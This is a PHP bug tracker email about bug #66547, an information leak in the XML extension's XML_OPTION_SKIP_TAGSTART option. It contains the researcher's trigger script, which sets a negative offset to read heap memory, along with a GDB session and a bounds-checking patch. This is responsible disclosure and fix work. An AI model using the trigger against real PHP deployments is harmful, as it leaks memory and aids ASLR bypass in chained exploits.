Sec Bug->Bug #66547 [Opn]: XML_OPTION_SKIP_TAGSTART information leak
| From: | stas@php.net | Date: | Mon, 03 Feb 2014 19:38:46 +0000 |
| Subject: | Sec Bug->Bug #66547 [Opn]: XML_OPTION_SKIP_TAGSTART information leak | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-184140@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=66547&edit=1
ID: 66547
Updated by: stas@php.net
Reported by: sean at persistencelabs dot com
Summary: XML_OPTION_SKIP_TAGSTART information leak
Status: Open
-Type: Security
+Type: Bug
-Package: *General Issues
+Package: DOM XML related
PHP Version: master-Git-2014-01-22 (Git)
Block user comment: N
Private report: Y
Previous Comments:
------------------------------------------------------------------------
[2014-01-22 16:58:27] sean at persistencelabs dot com
From d6e911fa90a8cb711a9a94e6a3ae790bfe891b13 Mon Sep 17 00:00:00 2001
From: Sean Heelan <sean@persistencelabs.com>
Date: Sun, 15 Dec 2013 23:14:51 +0000
Subject: [PATCH 1/1] Check that tag + tag offset is still actually within the
tag string
---
ext/xml/xml.c | 20 ++++++++++++++++++++
1 file changed, 20 insertions(+)
diff --git a/ext/xml/xml.c b/ext/xml/xml.c
index 1ef01c8..c2c97d0 100644
--- a/ext/xml/xml.c
+++ b/ext/xml/xml.c
@@ -781,6 +781,13 @@ void _xml_startElementHandler(void *userData, const XML_Char *name, const
XML_Ch
parser->level++;
tag_name = _xml_decode_tag(parser, name);
+ unsigned tag_len = strlen(tag_name);
+ if (parser->toffset > tag_len) {
+ TSRMLS_FETCH();
+ php_error_docref(NULL TSRMLS_CC, E_WARNING, "Tag offset > tag length");
+ return;
+ }
+
if (parser->startElementHandler) {
args[0] = _xml_resource_zval(parser->index);
@@ -866,6 +873,12 @@ void _xml_endElementHandler(void *userData, const XML_Char *name)
zval *retval, *args[2];
tag_name = _xml_decode_tag(parser, name);
+ unsigned tag_len = strlen(tag_name);
+ if (parser->toffset > tag_len) {
+ TSRMLS_FETCH();
+ php_error_docref(NULL TSRMLS_CC, E_WARNING, "Tag offset > tag length");
+ return;
+ }
if (parser->endElementHandler) {
args[0] = _xml_resource_zval(parser->index);
@@ -989,6 +1002,13 @@ void _xml_characterDataHandler(void *userData, const XML_Char *s, int len)
array_init(tag);
+ unsigned tag_len = strlen(parser->ltags[parser->level-1]);
+ if (parser->toffset > tag_len) {
+ TSRMLS_FETCH();
+ php_error_docref(NULL TSRMLS_CC, E_WARNING, "Tag offset > tag length");
+ return;
+ }
+
_xml_add_to_info(parser,parser->ltags[parser->level-1] + parser->toffset);
add_assoc_string(tag,"tag",parser->ltags[parser->level-1] +
parser->toffset,1);
--
1.7.9.5
------------------------------------------------------------------------
[2014-01-22 16:57:46] sean at persistencelabs dot com
(gdb) r trigger.php
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/php/sapi/cli/php /home/user/trigger.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Breakpoint 1, zif_xml_parser_set_option (ht=3, return_value=0xb7bdb21c, return_value_ptr=0xb7bbf10c,
this_ptr=0x0, return_value_used=0) at ext/xml/xml.c:1622
1622 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlZ", &pind,
&opt, &val) == FAILURE) {
(gdb) n
1625 ZEND_FETCH_RESOURCE(parser,xml_parser *, &pind, -1, "XML Parser",
le_xml_parser);
(gdb)
1627 switch (opt) {
(gdb)
1633 convert_to_long_ex(val);
(gdb)
1634 parser->toffset = Z_LVAL_PP(val);
(gdb)
1635 break;
(gdb) p/x parser->toffset
$3 = 0xfffffffc
(gdb) c
Continuing.
Breakpoint 2, _xml_startElementHandler (userData=0xb7bdb12c, name=0x8a6b510 "FOO:BAR",
attributes=0x0) at ext/xml/xml.c:773
773 xml_parser *parser = (xml_parser *)userData;
(gdb) l
768 /* }}} */
769
770 /* {{{ _xml_startElementHandler() */
771 void _xml_startElementHandler(void *userData, const XML_Char *name, const XML_Char
**attributes)
772 {
773 xml_parser *parser = (xml_parser *)userData;
774 const char **attrs = (const char **) attributes;
775 char *tag_name;
776 char *att, *val;
777 int val_len;
(gdb)
778 zval *retval, *args[3];
779
780 if (parser) {
781 parser->level++;
782
783 tag_name = _xml_decode_tag(parser, name);
784
785 if (parser->startElementHandler) {
786 args[0] = _xml_resource_zval(parser->index);
787 args[1] = _xml_string_zval(((char *) tag_name) +
parser->toffset);
(gdb) c
Continuing.
Breakpoint 3, _xml_startElementHandler (userData=0xb7bdb12c, name=0x8a6b510 "FOO:BAR",
attributes=0x0) at ext/xml/xml.c:787
787 args[1] = _xml_string_zval(((char *) tag_name) +
parser->toffset);
(gdb) x/s tag_name
0xb7bdc0e0: "FOO:BAR"
(gdb) p/x parser->toffset
$4 = 0xfffffffc
(gdb) s
_xml_string_zval (str=0xb7bdc0dc "\b\001") at ext/xml/xml.c:394
394 int len = strlen(str);
(gdb) x/16x str
0xb7bdc0dc: 0x08 0x01 0x00 0x00 0x46 0x4f 0x4f 0x3a
0xb7bdc0e4: 0x42 0x41 0x52 0x00 0x25 0x00 0x00 0x00
(gdb) n
395 MAKE_STD_ZVAL(ret);
(gdb) p/x len
$5 = 0x2
(gdb) c
Continuing.
0801
0801
[Inferior 1 (process 13133) exited normally]
(gdb)
------------------------------------------------------------------------
[2014-01-22 16:56:57] sean at persistencelabs dot com
Description:
------------
Summary
-------
The xml_parser_set_option function allows one to specify a number of bytes to
skip beyond the start of a tag, before passing this tag to various
user-specified handlers. The value is not sanitised in any way and thus can be
manipulated to read data at arbitrary offsets from the tag.
Impact
------
The impact of this bug is an information leak. A malicious user can read data
at arbitrary offsets from an allocated heap chunk. i.e. it's useful for
defeating ASLR.
Patch Details
-------------
The patch (in a comment below) updates each location that makes use of the
user-specified offset to ensure that it does not result in an out of bounds pointer.
Bug Details
-----------
The trigger file demonstrates this issue by specifying -4 as
the offset. As shown in the attached GDB session,
zif_xml_parser_set_option will store this value in the toffset attribute of
the xml_parser object (line 1634).
File : ext/xml/php_xml.h
46 typedef struct {
...
81 int toffset;
...
90 } xml_parser;
File : ext/xml/xml.c
1616 PHP_FUNCTION(xml_parser_set_option)
1617 {
1618 xml_parser *parser;
1619 zval *pind, **val;
1620 long opt;
1621
1622 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlZ", &pind,
&opt, &val) == FAILURE) {
1623 return;
1624 }
1625 ZEND_FETCH_RESOURCE(parser,xml_parser *, &pind, -1, "XML Parser",
le_xml_parser);
1626
1627 switch (opt) {
1628 case PHP_XML_OPTION_CASE_FOLDING:
1629 convert_to_long_ex(val);
1630 parser->case_folding = Z_LVAL_PP(val);
1631 break;
1632 case PHP_XML_OPTION_SKIP_TAGSTART:
1633 convert_to_long_ex(val);
1634 parser->toffset = Z_LVAL_PP(val);
1635 break;
(gdb) p/x parser->toffset
$3 = 0xfffffffc
The toffset attribute is used in a number of locations. In gdbsession.txt we
can see it being used in the following code (line 787) to calculate the
address of the string to pass to the start-element handler. By adding -4 we
skip backwards into memory located before the string.
File : ext/xml/xml.c
771 void _xml_startElementHandler(void *userData, const XML_Char *name, const XML_Char **attributes)
772 {
773 xml_parser *parser = (xml_parser *)userData;
774 const char **attrs = (const char **) attributes;
775 char *tag_name;
776 char *att, *val;
777 int val_len;
778 zval *retval, *args[3];
779
780 if (parser) {
781 parser->level++;
782
783 tag_name = _xml_decode_tag(parser, name);
784
785 if (parser->startElementHandler) {
786 args[0] = _xml_resource_zval(parser->index);
787 args[1] = _xml_string_zval(((char *) tag_name) + parser->toffset);
788 MAKE_STD_ZVAL(args[2]);
789 array_init(args[2]);
790
791 while (attributes && *attributes) {
792 att = _xml_decode_tag(parser, attributes[0]);
793 val = xml_utf8_decode(attributes[1], strlen(attributes[1]),
&val_len, parser->target_encoding);
794
795 add_assoc_stringl(args[2], att, val, val_len, 0);
796
797 attributes += 2;
798
799 efree(att);
800 }
801
802 if ((retval = xml_call_handler(parser, parser->startElementHandler,
parser->startElementPtr, 3, args))) {
803 zval_ptr_dtor(&retval);
804 }
805 }
Breakpoint 3, _xml_startElementHandler (userData=0xb7bdb12c, name=0x8a6b510 "FOO:BAR",
attributes=0x0) at ext/xml/xml.c:787
787 args[1] = _xml_string_zval(((char *) tag_name) +
parser->toffset);
(gdb) x/s tag_name
0xb7bdc0e0: "FOO:BAR"
(gdb) p/x parser->toffset
$4 = 0xfffffffc
(gdb) s
_xml_string_zval (str=0xb7bdc0dc "\b\001") at ext/xml/xml.c:394
394 int len = strlen(str);
(gdb) x/16x str
0xb7bdc0dc: 0x08 0x01 0x00 0x00 0x46 0x4f 0x4f 0x3a
0xb7bdc0e4: 0x42 0x41 0x52 0x00 0x25 0x00 0x00 0x00
(gdb) p/x len
$5 = 0x2
As shown, the string to be passed to the element handler is now considered
to be (0x08 0x01) rather than (0x46 0x4f ...) [FOO:BAR].
The element handler then prints these byte values.
EOF
Test script:
---------------
<?php
$XML = <<<XML
<?xml version="1.0"?>
<FOO:BAR>
</FOO:BAR>
XML;
function startElement($parser, $name, $attribs) { echo bin2hex($name) . PHP_EOL; }
function endElement($parser, $name) { echo bin2hex($name) . PHP_EOL; }
$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, 'startElement', 'endElement');
xml_parser_set_option($xml_parser, XML_OPTION_SKIP_TAGSTART, 0xfffffffc);
xml_parse($xml_parser, $XML);
xml_parser_free($xml_parser);
?>
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=66547&edit=1